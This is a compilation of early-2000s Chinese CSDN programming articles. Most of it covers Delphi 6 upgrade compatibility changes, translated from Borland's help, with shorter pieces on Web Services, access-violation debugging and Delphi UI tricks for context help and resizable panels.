事件类型 变化

TResolverErrorEvent 影响到provider的 OnUpDateError 事件。

TBeforeUpdateRecordEvent 影响到provider的 BeforeUpdateRecord事件。

TAfterUpdateRecordEvent 影响到provider的 AfterUpdateRecord事件。

TProviderDataEvent 影响到provider的 OnGetData and OnUpdateData事件。

TReconcileErrorEvent 影响到client dataset的 OnReconcileError 事件。

必须将以上提到的这些事件对应的处理函数（过程）中的TClientDataSet替换为TCustomClientDataSet。

二． 使用默认数据库登录的代码的变动

原先，将一个连接组件（比如 Tdatabase，TADOConnection，或TDCOMConnection）的LoginPrompt属性设置为True，则会有默认的登录对话框弹出。这一特性已经不再保留除非你在单元引用中增加一个引用DBLogDlg的语句。如果想要应用程序仍然能够弹出默认的登录对话框，务必加上 Use DBLogDlg这么一句，否则便不会有任何提示输入用户名和密码的对话框出现。

三． 潜在的二进制Form文件的不兼容

过去，新版本Delphi创建的二进制Form文件（或称DFM文件）可以被老版本的Delphi读取。但是现在不行了。某些二进制Form文件可能不能被老版本正确的读取，其原因是Delphi 6内部的字符串的流化和原先不同。过去，流化操作假设一个本地特殊的字符集。而现在新的流化操作假设字符集为UTF-8。由此带来的问题就是，如果Delphi 6的二进制Form文件中包含有码值大于127的字符出现（比如版权符®），则该文件就不能被Delphi 的老版本正确读取。

如果你想在老版本的Delphi 中打开Delphi 6 的Form文件，那么请先将该Form文件存为文本格式而非二进制格式。

四． 有关可赋值的常量

编译宏$WRITEABLECONST现在的缺省值为关(OFF)，这是为了防止在Delphi的工程中运用可赋值的常量。可赋值的常量，也就是定义一个常量，但是却允许在运行期间改变其值。例子如下：

const

foo: Integer = 12;

begin

foo := 14;

end.

在以往的Delphi版本中，有这么一个特性：常量不是真正的常量。使用编译宏$WRITEABLECONST OFF，则以上的代码中Foo的赋值将引发一个编译错误。若要避免这个错误，可将Foo的声明改为 var。

将常量用作一个可以初始化的局部变量，这样的代码如下：

procedure MyProc;

const

somedata: Integer = 12;

begin

Inc(somedata, 3);

end;

现在你要做的是将局部常量的声明移到过程的外部，使其成为一个全局的变量。然后代码变为：

var

somedata: Integer = 12;

procedure MyProc;

begin

Inc(somedata, 3);

end;

对于过度依赖于常量的代码（比如ActiveX 控件的包装器），可以通过在源文件中插入一个{$WRITEABLECONST ON}的编译命令来修正。这一特性，在RTL， VCL， CLX，和 DB 等核心的源代码中被禁止使用，但是在周边的单元比如ActiveX 控件的包装器中倒可以接受。

总而言之，你应该意识到“可赋值的常量”这个说法的自相矛盾性。Delphi的以往版本中的这一特性，只是为了与老的16位的编译器的兼容而保留，但现在对于Delphi的开发者来说这已经毫无意义了。另外,要养成好的编程习惯，应当尽量避免使用“可赋值的常量”。

五． Cardinal类型的负数值

过去，Delphi处理Cardinal类型的负数值时使用32位的机制，这样使得结果为一些零头的值（Cardinal类型允许的最大的值与当前值的差加一）。例子如下：

var

c: Cardinal;

i: Int64;

begin

c := 4294967294;

i := -c;

WriteLn(i);

end;

在以往版本的Delphi中，I的值应当是2。但是现在就不是这样的了。在Delphi 6中，Cardinal类型是先转化为64位的有符号类型，然后做取负数值的运算，所以最终结果I的值为-4294967294。

可能有些代码依赖于原先错误的Cardinal负数值的实现方法，所以希望读者对于Delphi 的这一新特性引起足够的重视。花足够多的时间来检验你的代码中是否存在对Cardianl类型的值取负数的情况是很值得的，同时确信一点，Delphi的这个新的特性对你的程序的正确性不构成影响。

六． 单元DsgnIntf改名及相关变化

程序中对于DsgnIntf的引用，需要改为对一个新的单元的引用：DesignIntf。可能还得加上DesignEditors、Editors 和RTLConsts 几个单元到你的引用列表中。除此之外你还得将designide加入到你的包的Requires的列表中。另外，对dsnide50的引用可能得手动改为DesignIde，如果Delphi没有自动更改的话。

任何引用了IDesigner的运行期包，需要改为IDesignerHook以防止运行期时对于designide单元的引用要求。在运行期代码中，IDesignerHook 功能足够使用,无需担心。设计期时可以使用IDesigner，如以下代码一样：

var

RealDesigner: IDesigner;

...

SomeDesignerHook.QueryInterface(IDesigner,RealDesigner);

...

来获得IDesignerHook 提供的IDesigner的接口。IDesinerHook的使用只需要引用Classes和Forms两个单元。但是IDesigner还得加上DesignIntf单元，由于该单元被包含在许多其它包中，而其中的一些包可能是不能二次分发的。

七． 有关组件编辑器的变化

Delphi 6中，TComponentEditor类有了不同的祖先。在Delphi 5中，它从TInterfacedObject

继承而来；现在它从一个新的类，TBaseComponentEditor继承而来。同时，TComponentEditorClass也变为TbaseComponentEditor的类类型，而不是TComponentEditor的类类型。这些体系结构上的变化可能需要你修改老的Delphi程序。

八． TDesignWindow 的变化

许多变化都和类TDesignWindow有关。它的声明被移到单元DesignWindows中，并且FromClosed方法被替换为DesignerClosed。以往，在FromClosed事件中可以通过访问参数Aform来访问Form。而在新的事件DesignerClosed中，我们需要通过Designer的Root属性来访问Form。

在FormClosed事件中，我们可以通过调用TDesignerSelectionList.Create 或者 TComponentList.Create来创建选择列表。而在DesignerClosed事件中做同样操作得使用IDesignerSelections接口。你可以调用CreateSelectionList函数来获得一个接口。

SelectionClosed方法的参数也和Delphi 5版本中的有所不同。

九． VCL 包的变化

一些VCL相关的包已经被重新分配到其他的包里。假如你在工程中引用了vcl50.dcp，那么你需要将这个引用改为引用vcl.dcp和rtl.dcp。

十． OpenGL 接口单元改到rtl.dcp中

Borland OpenGL接口单元（opengl.dcu）在Delphi 5的库单元目录中是一个独立的单元。在Delphi 6中它被合并到rtl.dcp中。这可能导致某些Delphi 5的工程升级到Delphi 6时引发一些问题。

举个例子来说。在Delphi 5的工程中，可能你会将与OpenGL单元同名的单元放置在工程目录中，以覆盖系统提供的OpenGL单元。而在Delphi 6中，假如有任何组件引用了rtl.dcp，则将导致命名冲突，非得更改名称才行。

十一． HTTPApp.pas 单元中的一些类型声明移动到 HTTPProd.pas单元中

HTTPApp 单元中的一部分类型被移动到了HTTPProd 单元中。他们是THTMLBgColor，THTMLAlign 和THTMLVAlign。如果你的工程中使用了这些类，那么需要将引用的单元由HTTPProd改为 HTTPApp 。

十二． Search 单元被删除，SearchBuf例程做了修改并被移动

单元Search在Delphi 6中不再保留。SearchBuf例程，用来在一个文本的缓冲区中定位子串，已经被移动到StrUtils单元中，并且调用的参数也发生了变化。最后一个参数改为一个TstringSearchOptions的对象。如果你的工程因为不能找到Search单元而无法编译，请将引用Search改为引用StrUtils单元。同时你应当检查对SearchBuf的调用是否符合新的语法。

[文终]


CSDN_文档中心_升级到Delphi 6 - 兼容性问题之二

一． 潜在的二进制Form文件的不兼容

过去，新版本Delphi创建的二进制Form文件（或称DFM文件）可以被老版本的Delphi读取。但是现在不行了。某些二进制Form文件可能不能被老版本正确的读取，其原因是Delphi 6内部的字符串的流化和原先不同。过去，流化操作假设一个本地特殊的字符集。而现在新的流化操作假设字符集为UTF-8。由此带来的问题就是，如果Delphi 6的二进制Form文件中包含有码值大于127的字符出现（比如版权符®），则该文件就不能被Delphi 的老版本正确读取。

如果你想在老版本的Delphi 中打开Delphi 6 的Form文件，那么请先将该Form文件存为文本格式而非二进制格式。

Potential binary form file incompatibilities

In the past, binary form files (or DFM files) created with newer versions of Delphi could be read by older versions. This is no longer true in Delphi 6; some binary form files may be read incorrectly because of the way that Delphi 6 performs internal string streaming. In the past, streaming was performed assuming a locale specific character set. Now streaming assumes that the character set is UTF-8. As a consequence, if there are characters with a code greater than 127 (such as the copyright symbol ? in a Delphi 6 binary form file, that file cannot be read by older versions of Delphi.

If you intend to use a Delphi 6 form file (including older form files imported into and modified with Delphi 6) in an older version of Delphi, the file should be saved in text format instead of binary format.

二． 有关可赋值的常量

编译宏$WRITEABLECONST现在的缺省值改为关，这是为了防止Delphi的工程中运用可赋值的常量。可赋值的常量，也就是定义一个常量，但是却允许在运行期间改变其值。例子如下：

const

foo: Integer = 12;

begin

foo := 14;

end.

在以往的Delphi版本中，有这么一个特性：常量不是真正的常量。使用编译宏$WRITEABLECONST OFF，则以上的代码中的Begin和End之间的Foo的赋值将引发一个编译错误。若要避免它，只需将Foo的声明改为 var。

你可能有将常量用作一个可以初始化的局部变量的代码，比如：

procedure MyProc;

const

somedata: Integer = 12;

begin

Inc(somedata, 3);

end;

你要做的是将局部常量移到过程的外部声明，使其成为一个全局的变量。然后代码变为：

var

somedata: Integer = 12;

procedure MyProc;

begin

Inc(somedata, 3);

end;

对于过度依赖于常量的代码（比如ActiveX 控件的包装器），可以通过在源文件中插入一个{$WRITEABLECONST ON}的编译命令来修正。这一特性，在RTL， VCL， CLX，和 DB 等核心的源代码中被禁止使用，但是在周边的单元比如ActiveX 控件的包装器中倒可以接受。

总而言之，你应该意识到“可赋值的常量”这个说法的自相矛盾。Delphi的以往版本中的这一特性，只是为了与老的16位的编译器的兼容而保留，但现在对于Delphi的开发者来说已经毫无意义了。要养成好的编程习惯，尽量避免使用可赋值的常量。

Change in writeable constants

The $WRITEABLECONST compiler switch ( aka $J ) now has a default state of OFF, which will prevent Delphi projects from having writeable constants. Writeable constants refers to the use of a typed constant as a variable modifiable at runtime. Here is an example:

const

foo: Integer = 12;

begin

foo := 14;

end.

In prior releases of Delphi, this was an acceptable construct; constants weren't really constant. With $WRITEABLECONST OFF, this code will now produce a compile error on the assignment to the foo variable in the begin..end block. To fix it, simply change the const declaration to a var declaration.

You may have code that uses a typed const as an initialized local variable with global lifetime, like this:

procedure MyProc;

const

somedata: Integer = 12;

begin

Inc(somedata, 3);

end;

You will need to move the local const out of the procedure and declare it for what it is: a global variable. After making this change, the code segment above becomes:

var

somedata: Integer = 12;

procedure MyProc;

begin

Inc(somedata, 3);

end;

Code that relies heavily on the typed const quirk (such as the ActiveX control wrapper generator) can insert a {$WRITEABLECONST ON} directive in the source file as a quick fix. This practice is forbidden in the RTL, VCL, CLX, and DB source code and discouraged in the IDE sources, but acceptable for fringe units such as ActiveX control wrappers.

In general, you should note that the phrase "writeable constant" is an oxymoron. Prior versions of Delphi allowed them by default to maintain compatibility with an older 16-bit compiler, which is no longer important for most Delphi developers. Use good programming practice; avoid writeable constants.

三． Cardinal类型的负数值

过去，Delphi处理Cardinal类型的负数值时使用32位的机制，这样使得结果为一些零头的值（Cardinal类型允许的最大的值与当前值的差加一）。以下为例子：

var

c: Cardinal;

i: Int64;

begin

c := 4294967294;

i := -c;

WriteLn(i);

end;

在以往版本的Delphi中，I的值应当是2。但是这种情况下这个值明显不对。Delphi 6中，Cardinal类型是先转化为64位的有符号类型，然后取其负数值，所以最终结果I的值为-4294967294。

可能有已经存在的代码依赖于原先错误的Cardinal负数值的实现方法。读者应当对Delphi 的这一新特性引起足够的重视。花足够多的时间来检验你的代码中是否使用了对Cardianl的值的取负数是很值得的，同时确信一点，Delphi的这个新的特性对你的程序的正确性不构成影响。

Unary negation of Cardinal type

In the past, Delphi handled unary negation of Cardinal type numbers using 32 bit operations, which could lead to some odd results. Here is an example of code which uses unary negation:

var

c: Cardinal;

i: Int64;

begin

c := 4294967294;

i := -c;

WriteLn(i);

end;

In previous versions of Delphi, the value of i displayed would be 2. This is obviously incorrect behavior for this case. In Delphi 6, the unary negation is handled after promoting the Cardinal type to a 64 bit signed type, so the final value of i displayed is -4294967294.

It is possible that existing code may rely on the incorrect behavior of unary negation. Delphi users should be aware of this new behavior. It may be worth your time to check your code for instances of unary negation of Cardinal variables, and make sure that your application responds to the new behavior appropriately.

四． 单元DsgnIntf改名及相关变化

工程中对于DsgnIntf的引用，需要更新到一个新的名字：DesignIntf。可能还得加上DesignEditors，VCLEditors 和RTLConsts 到你的引用列表中。并且你还得将designide加入到你的Package的Requires的列表中。对dsnide50的引用可能得改为DesignIde，如果Delphi没有自动更改的话。

任何引用了IDesigner的运行期Package，需要用IdesignerHook来防止运行期时需要designide。运动期代码中，IDesignerHook 足以应付。设计时间的代码也可以使用IDesigner，但是代码要象下例一样：

var

RealDesigner: IDesigner;

...

SomeDesignerHook.QueryInterface(IDesigner,RealDesigner);

...

从IDesignerHook 的一个实例上获得真正的IDesigner接口。IDesignerHook的使用只需要引用Classes和Forms两个单元。IDesigner还需要用DesignIntf，该单元被包含在许多其它Packatge中，而其中的一些可能导致不可再次分发。

Borland在此希望感谢Field的测试员Matt Palcic，感谢他让我们对此引起注意。

DsgnIntf renamed and related changes

References to DsgnIntf in your project should be changed to the new Delphi 6 name, DesignIntf. You may also need to add DesignEditors, VCLEditors and RTLConsts to your uses clause. You will also need to add designide to your package's requires list. References to dsnide50 should probably also be changed to designide if that isn't changed automatically by Delphi.

Any runtime packages that use IDesigner need to use IDesignerHook to avoid a requirement of designide at runtime. In runtime code, IDesignerHook should suffice. Design-time code can use IDesigner, but should use something like

var

RealDesigner: IDesigner;

...

SomeDesignerHook.QueryInterface(IDesigner,RealDesigner);

...

To get the real IDesigner interface from an instance of IDesignerHook. IDesignerHook only requires Classes and Forms to be available. IDesigner requires DesignIntf, which includes many other packages, some of which may not be redistributable.

Borland wishes to thank field tester Matt Palcic for bringing these changes to our attention.

五． 组件编辑器的变化

Delphi 6中，类TComponentEditor有了不同的祖先。在Delphi 5中，它从TInterfacedObject

继承而来；现在它从一个新的类，TbaseComponentEditor继承而来。同时，TComponentEditorClass也变为TbaseComponentEditor的类类型，而不是TComponentEditor的类类型。这些体系结构上的变化可能需要你修改你的老的Delphi的工程。

Component editor changes

The class TComponentEditor has a different ancestry in Delphi 6. In Delphi 5, it descended from TInterfacedObject; it now descends from a new class, TBaseComponentEditor. Also, the class TComponentEditorClass is now a class of TBaseComponentEditor instead of TComponentEditor. These changes in hierarchy may require you to modify your older Delphi projects.

Borland wishes to thank field tester Clive Walden for bringing these changes to our attention.


CSDN_文档中心_升级到Delphi 6 - 兼容性问题之三（完）

八． TDesignWindow 的变化

许多变化都和类TDesignWindow有关。它的声明被移到单元DesignWindows中，并且FromClosed方法被替换为DesignerClosed。以往，在FromClosed事件中可以通过访问参数Aform来访问Form。而在新的事件DesignerClosed中，我们需要访问Designer的Root属性来访问Form。

在FormClosed事件中，我们可以通过调用TDesignerSelectionList.Create 或者 TComponentList.Create来创建选择列表。而在DesignerClosed事件中作同样的事情，我们得使用IDesignerSelections接口。你可以调用CreateSelectionList函数来获得一个借口。

SelectionClosed方法的参数也和Delphi 5版本中的有所不同。

TDesignWindow changes

There have been a number of changes related to the class TDesignWindow. It has been moved to the DesignWindows unit, and its FormClosed method has been replaced by DesignerClosed. In the past, one could obtain access to the form within FormClosed by using the AForm parameter. In DesignerClosed, it is now necessary to use Designer's Root property to access the form.

In FormClosed, one would create selection lists by calling TDesignerSelectionList.Create or TComponentList.Create. To create selection lists within DesignerClosed, it is necessary to use an IDesignerSelections interface. You can create one using the CreateSelectionList function.

Parameters for the SelectionClosed method are also different from what they were in Delphi 5.

Borland wishes to thank field tester Matt Palcic for bringing these changes to our attention.

九． VCL 包的变化

一些VCL相关的包已经被重新分配到其他的包里。假如你在工程中引用了vcl50.dcp，那么你需要将这个引用改为其他单元，如vcl.dcp和rtl.dcp。

VCL package changes

The contents of some of the VCL-related packages have been redistributed into other packages. If you made references to vcl50.dcp in your project, you will need to change those references to other units, such as vcl.dcp and rtl.dcp.

Borland wishes to thank field tester Clay Shannon for bringing this change to our attention.

十． OpenGL 接口单元改到rtl.dcp中

Borland OpenGL接口单元（opengl.dcu）在Delphi 5的库单元目录中是一个独立的单元。在Delphi 6中它被合并到rtl.dcp中。这可能导致某些Delphi 5的工程升级到Delphi 6时引发一些问题。

举个例子来说。在Delphi 5的工程中，可能你会将与OpenGL单元同名的单元放置在工程目录中，以覆盖系统提供的OpenGL单元。而在Delphi 6中，假如有任何组件引用了rtl.dcp，则将导致命名冲突，得更改名称才行。

OpenGL interface unit moved to rtl.dcp

The Borland OpenGL interface unit (opengl.dcu) was an independent unit in the Delphi 5 Lib folder. It has been incorporated into rtl.dcp in Delphi 6. This may cause some problems for Delphi 5 projects ported to Delphi 6.

Here is an example. In a Delphi 5 project, it was possible to make a project-specific override of the OpenGL unit by placing a unit with the same name somewhere in your project path. The same method used in Delphi 6 causes a name conflict in any component that uses rtl.dcp also, and a name change is now required.

Borland wishes to thank field tester John Williams for bringing this change to our attention.

十一． HTTPApp.pas 单元中的一些类型声明移动到 HTTPProd.pas单元中

HTTPApp 单元中的一部分类型被移动到了HTTPProd 单元中。他们是THTMLBgColor，THTMLAlign 和THTMLVAlign。如果你的工程中使用了这些类，那么需要将引用的单元由HTTPProd改为 HTTPApp 。

Types moved from HTTPApp.pas to HTTPProd.pas

Several types in the HTTPApp unit have been moved to the HTTPProd unit. They are THTMLBgColor, THTMLAlign and THTMLVAlign. If your projects use any of these units, you should change your uses statements to refer to HTTPProd instead HTTPApp.

十二． Search 单元被删除，SearchBuf例程做了修改并被移动

单元Search在Delphi 6中不再保留。SearchBuf例程，用来在一个文本的缓冲区中定位子串，已经被移动到StrUtils单元中，并且调用的参数也发生了变化。最后一个参数改为一个TstringSearchOptions的对象。如果你的工程因为不能找到Search单元而无法编译，请将引用Search改为引用StrUtils单元。同时你应当检查对SearchBuf的调用是否符合新的语法。

Search unit removed, SearchBuf moved and changed

The unit Search no longer exists in Delphi 6. The SearchBuf routine, which locates a substring within a text buffer, has been moved to the StrUtils unit and its parameters have changed. The final parameter is now a TStringSearchOptions object. If your project won't compile because the compiler can't find the Search unit, change your uses statement to include StrUtils instead of Search. You will also want to check your SearchBuf calls to ensure that your parameters match the new syntax.

[文终]


CSDN_文档中心_升级到Delphi 6 - 兼容性问题之一

升级到Delphi 6

原著：Borland Corporation

翻译：Musicwind®

日期：2001-07-11

声明：

以下文章的内容取自Delphi 6附带的帮助文件。

版权所有Borland Corporation。

翻译此稿事先没有得到Borland的批准，鲁莽之处，希望Borland多多原谅。

总则

从Delphi 6中打开Delphi 5 （或更早版本）的工程，Delphi 会自动对其进行升级。以下将要介绍的是新版本中可能会对现有的Delphi工程带来潜在影响的一些改动。

IDE（集成开发环境）特性

包名称的自动更新

兼容性问题

想要了解更多其他信息，请参考”Delphi6新特性”这一部分的内容。

OverView

When you load a Delphi 5 or earlier project into Delphi 6, it is automatically updated. The following topics describe changes that could potentially impact existing Delphi projects:

IDE issues

Automatic package name updates

Compatibility issues

Refer also to the What’s New for information on additional features that you may want to incorporate into your applications.

兼容性问题

以下列出的是可能影响你的Delphi应用程序的几个大的方面：

Compatibility issues

Following are general compatibility issues that may affect your Delphi applications:

一． 由于VCL体系结构的变化而引起的Provider和Client Dataset 的一些事件的变动

TCustomClientDataSet的引入，使得Delphi 5或早期版本中的事件处理机制做些变动。

DBCLIENT.PAS单元中有5种类型的6个事件发生了变化，他们分别是:

事件类型 变化

TResolverErrorEvent 影响到provider的 OnUpDateError 事件。

TBeforeUpdateRecordEvent 影响到provider的 BeforeUpdateRecord事件。

TAfterUpdateRecordEvent 影响到provider的 AfterUpdateRecord事件。

TProviderDataEvent 影响到provider的 OnGetData and OnUpdateData事件。

TReconcileErrorEvent 影响到client dataset的 OnReconcileError 事件。

必须将以上提到的这些事件对应的处理函数（过程）中的TClientDataSet替换为TCustomClientDataSet。

Provider, client dataset events affected by VCL hierarchy change

The introduction of TCustomClientDataSet requires changes to event handlers in Delphi 5 and earlier code.

Six events in five types are affected by the change to DBCLIENT.PAS. They are:

Type Event change

TResolverErrorEvent Affects the provider’s OnUpDateError event.

TBeforeUpdateRecordEvent Affects the provider’s BeforeUpdateRecord event.

TAfterUpdateRecordEvent Affects the provider’s AfterUpdateRecord event.

TProviderDataEvent Affects the provider’s OnGetData and OnUpdateData events.

TReconcileErrorEvent Affects the client dataset’s OnReconcileError event

In event handlers using the events noted above, you must replace TClientDataSet with TCustomClientDataSet.

二． 使用默认数据库登录的代码的变动

原先，将一个连接组件（比如 Tdatabase，TADOConnection，或TDCOMConnection）的LoginPrompt属性设置为True，则会有默认的登录对话框弹出。这一特性已经不再保留除非你在单元引用中增加一个引用DBLogDlg的语句。如果想要应用程序仍然能够弹出默认的登录对话框，务必加上 Use DBLogDlg这么一句，否则便不会有任何提示输入用户名和密码。

Code change required for default Database Login dialog

Previously, setting the LoginPrompt property of a connection component (such as TDatabase, TADOConnection, or TDCOMConnection) caused a default login dialog to appear. This is no longer the case unless you add to your uses clause. Applications that depend on the default login dialog must be edited to add DBLogDlg to the uses clause or they will not prompt for user name and password.


CSDN_文档中心_什么是Web Service

Web Service 是一种新的web应用程序分支，他们是自包含、自描述、模块化的应用，可以发布、定位、通过web调用。Web Service可以执行从简单的请求到复杂商务处理的任何功能。一旦部署以后，其他Web Service应用程序可以发现并调用它部署的服务。

Web Service是一种应用程序，它可以使用标准的互联网协议，像超文本传输协议(HTTP)和XML，将功能纲领性地体现在互联网和企业内部网上。可将Web服务视作Web上的组件编程。

1 历史
web广泛用到的技术：
◆TCP/IP：通用网络协议，被各种设备使用
◆HTML：通用用户界面，可以使用HTML标签显示数据
◆Java：写一次可以在任何地方运行的通用编程语言
◆XML ：通用数据表达语言，在web上传送机构化数据的容易方法
他们的特点是其开放性，跨平台性，开放性正是Web services的基础。

2 Web发展的趋势
内容更动态化
◆带宽Bandwidth更便宜，易于获得
◆存储器Storage更便宜，更易获得
◆普遍式计算变得更加重要：大量的设备，例如移动电话，页面，电脑，pc，已经在Internet上变得普遍，平台变得更多元化，象XML这样的跨平台技术变得更重要

3 Web Services扮演什么角色？
上述的这些趋势意味着，更加智能的处理，操作和汇总内容变得十分重要。让我们看看按照Web services角度所预示的四个趋势：
◆内容更加动态：一个web service必须能合并从多个不同源来的内容，可以包括股票，天气，新闻等，在传统环境中的内容，如存货水平，购物订单或者目录信息等，都从后端系统而来
◆带宽更加便宜：web services可以分发各种类型的内容（音频，视频流等）
◆存储更便宜: web services必须能聪明地处理大量数据，意味着要使用数据库，LDAP目录，缓冲，和负载平衡软件等技术保持可扩展能力
◆普遍式计算更重要：web services不能要求客户使用某一版本的windows的传统浏览器，必须支持各种设备，平台，浏览器类型，各种内容类型。

4 两种重要技术
要达到这样的目标，Web services要使用两种技术：
◆XML XML是在web上传送结构化数据的伟大方式，Web services要以一种可靠的自动的方式操作数据，HTML不会满足要求，而XML可以使web services十分方便的处理数据，它的内容与表示的分离十分理想
◆SOAP SOAP使用XML消息调用远程方法，这样web services可以通过HTTP协议的post和get方法与远程机器交互，而且，SOAP更加健壮和灵活易用。
其他象UDDI和WSDL技术与XML和SOAP技术紧密结合用于服务发现。


CSDN_文档中心_什么是访问冲突（Access Violations），如何排除该类错误

无论何时碰到的访问冲突都意味着你的程序试图访问不能再为你的程序所获得的内存。请注意我用了“不再(No Longer)“获得。在很多场合中遇到访问冲突都是因为试图引用已经释放的对象的指针或者尚未创建的对象的指针。

幸运的是，Win32的内存结构中，每个进程拥有独立的地址空间，因此我们不必担心覆盖其他程序的内存（这个在Win16种是经常遇到的问题）。这也说明了我们如今(actually)可以利用错误对话框中的信息。

当我们碰到访问冲突对话框时，都会有个地址（例如：Access violation at address:?????）。记下这个地址，返回到应用程序中，打开CPU窗口，在CPU窗口中右击鼠标选择Goto address。当对话框出现的时候，输入刚才访问冲突发生的地方，你就到了引起访问冲突的指令。

尽管CPU窗口中所有的都是用汇编语言写的，这并不对你很重要。如果你把滚动条向上滚一点，就可以看到你当前所处的函数。现在，你就知道是哪个函数引起了访问冲突。一旦你知道引起访问冲突的函数，就可以着手在这个函数中设立断点。

不幸的是，不是所有的事情都那么容易，指针错误有时候非常难查找，总的规则是当指针所指向的对象被释放的时候，把这些指针都设置为NULL，你也许还想在厌恶的函数中使用指针前检查它是否为NULL，如果为NULL你可以输出一些排错信息来帮助你查明哪个指针在程序运行时引起了访问错误。

作为最后的手段，你需要能够在那个指针处设立数据断点(data break point) 来检查它何时设为NULL。


CSDN_文档中心_实现“这是什么？”的功能

实现“这是什么？”的功能

常常看到有些窗口上有个？号，也就“这是什么？”的功能，，如果自已编程实现则就不一样了。比如：点击"帮助"按钮。。刚出现这是什么？”的功能。。这就要用到API了，其实 通过 PostMessage ，可以实现。

PostMessage(Handle, WM_SYSCOMMAND, SC_CONTEXTHELP, 0);

是不是简单，哎，想当初，为了它，我找呀找。。。。。。


CSDN_文档中心_实现控件的移动、改变大小（DELPHI实现）

实现控件的移动，改变大小（DELPHI实现）

主要使用Perform方法
function Perform(Msg: Cardinal; WParam, LParam: Longint): Longint;

只要能够使用类似于win32API的函数SendMessage()，本方法同样可在其他环境里应用。

用Delphi实现
首先，建立一个应用程序，在一个窗体里加入一个Panel1，保存为main.pas；
然后，分别在Panel1的鼠标移动、鼠标按下事件里添加代码；
鼠标移动：控制光标的形状
procedure TForm1.Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if (x>=0)and(x<=3) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNWSE;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crSizeWE;
if (y>=Panel1.Height-3)and(y<=Panel1.Height) then Panel1.Cursor:=crSizeNESW;
end
else if (x>3)and(x<Panel1.Width-3) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNS;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crArrow;
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Cursor:=crSizeNS;
end
else if (x>=Panel1.Width-3)and(x<=Panel1.Width) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNESW;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crSizeWE;
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Cursor:=crSizeNWSE;
end;
end;

鼠标按下：控制Panel的大小或位置
procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
ReleaseCapture;
if (x>=0)and(x<=3) then
begin
file://左上角方向改变大小
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F004,0);
file://左侧
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F001,0);
file://左下角
if (y>=Panel1.Height-3)and(y<=Panel1.Height) then Panel1.Perform(WM_SysCommand,$F007,0);
end
else if (x>3)and(x<Panel1.Width-3) then
begin
file://上侧
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F003,0);
file://移动控件
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F012,0);
file://下侧
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Perform(WM_SysCommand,$F006,0);
end
else if (x>=Panel1.Width-3)and(x<=Panel1.Width) then
begin
file://右上角
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F005,0);
file://右侧
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F002,0);
file://右下角
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Perform(WM_SysCommand,$F008,0);
end;
end;
主要使用 Perform 方法为

附录1.全部代码如下：

unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
procedure Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
ReleaseCapture;
if (x>=0)and(x<=3) then
begin
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F004,0);
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F001,0);
if (y>=Panel1.Height-3)and(y<=Panel1.Height) then Panel1.Perform(WM_SysCommand,$F007,0);
end
else if (x>3)and(x<Panel1.Width-3) then
begin
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F003,0);
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F012,0);
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Perform(WM_SysCommand,$F006,0);
end
else if (x>=Panel1.Width-3)and(x<=Panel1.Width) then
begin
if (y>=0)and(y<=3) then Panel1.Perform(WM_SysCommand,$F005,0);
if (y>3)and(y<Panel1.Height-3) then Panel1.Perform(WM_SysCommand,$F002,0);
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Perform(WM_SysCommand,$F008,0);
end;
end;

procedure TForm1.Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if (x>=0)and(x<=3) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNWSE;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crSizeWE;
if (y>=Panel1.Height-3)and(y<=Panel1.Height) then Panel1.Cursor:=crSizeNESW;
end
else if (x>3)and(x<Panel1.Width-3) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNS;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crArrow;
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Cursor:=crSizeNS;
end
else if (x>=Panel1.Width-3)and(x<=Panel1.Width) then
begin
if (y>=0)and(y<=3) then Panel1.Cursor:=crSizeNESW;
if (y>3)and(y<Panel1.Height-3) then Panel1.Cursor:=crSizeWE;
if (y>=Panel1.Height-3)and(y<=Panel1.Width) then Panel1.Cursor:=crSizeNWSE;
end;
end;

附录2.API SendMessage()介绍
SendMessage === user32.lib
LRESULT SendMessage(

HWND hWnd, // handle of destination window
UINT Msg, // message to send
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);

2001.9.27


CSDN_文档中心_使用 COM+ 参数化对象结构编程技术

使用 COM+ 参数化对象结构编程技术

